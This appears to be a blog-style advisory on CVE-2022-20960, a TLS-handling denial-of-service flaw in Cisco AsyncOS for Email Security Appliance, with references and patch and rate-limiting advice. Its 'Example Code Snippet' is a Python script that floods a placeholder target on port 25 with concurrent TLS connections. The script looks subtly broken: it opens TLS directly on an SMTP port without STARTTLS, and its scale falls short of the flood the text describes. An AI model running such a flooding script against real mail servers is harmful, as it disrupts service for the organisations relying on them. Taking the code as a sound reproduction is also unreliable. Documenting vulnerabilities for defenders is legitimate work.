CVE-2022-20960: Critical Vulnerability in Cisco AsyncOS Software for Cisco Email Security Appliance (ESA) That Can Cause a DoS Condition

A recently discovered security vulnerability (CVE-2022-20960) in Cisco AsyncOS Software for Cisco Email Security Appliance (ESA) is attracting attention from security professionals, as it has the potential to cause a denial of service (DoS) condition on the affected device. This vulnerability stems from the improper handling of specific TLS connections processed by the device.

It's crucial for businesses and organizations that use Cisco ESA to be aware of this vulnerability, understand how it can be exploited, and implement recommended mitigations to avoid the consequences of a successful attack.

Exploit Details

An attacker exploiting this vulnerability can cause a DoS attack just by establishing a high number of concurrent TLS connections to the affected device. The device would then start dropping new TLS email messages sent from the associated email servers. However, it's important to note that this exploit does not cause the affected device to suddenly restart. Instead, the device can autonomously recover several hours after the alleged attack ceases or is successfully thwarted.

Example Code Snippet

The attacker might use a Python script like the one below to initiate multiple TLS connections to target a vulnerable Cisco ESA:

import socket
import ssl
import threading
import time

TARGET_IP = "xxx.xxx.xxx.xxx"
TARGET_PORT = 25

def tls_connection():
    context = ssl.create_default_context()
    with socket.create_connection((TARGET_IP, TARGET_PORT)) as sock:
        with context.wrap_socket(sock, server_hostname=TARGET_IP) as ssock:
            ssock.sendall(b"test")
            time.sleep(5)

for _ in range(100):
    threading.Thread(target=tls_connection).start()

This script would launch 100 concurrent TLS connections to the specified "TARGET_IP" and "TARGET_PORT", with each connection sending a "test" message and persisting for 5 seconds.

Original References

Cisco's official knowledge base contains a detailed advisory about this vulnerability, which can be found at the following link:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-tls-dos-gvkRTqX

The Common Vulnerabilities and Exposures (CVE) website also provides information on this vulnerability:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-20960

Mitigation

To effectively counter this vulnerability, Cisco has released software updates that address the problem. It's strongly advised for businesses and organizations using Cisco ESA to install the latest applicable software version and relevant patches. In addition, enabling rate limiting and connection throttling on the affected devices can assist in mitigating the risk of a DoS attack. Users should also monitor their networks for any signs of abnormal activity or excessive connection attempts.

Conclusion

CVE-2022-20960 represents a critical vulnerability in Cisco AsyncOS Software for Cisco Email Security Appliance (ESA) that can lead to a DoS condition. Affected users must familiarize themselves with the vulnerability, its potential exploits, and the available mitigations. Ensuring that systems are up-to-date with the latest security patches and implementing recommended best practices can significantly reduce the likelihood of a successful attack.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:46:00 UTC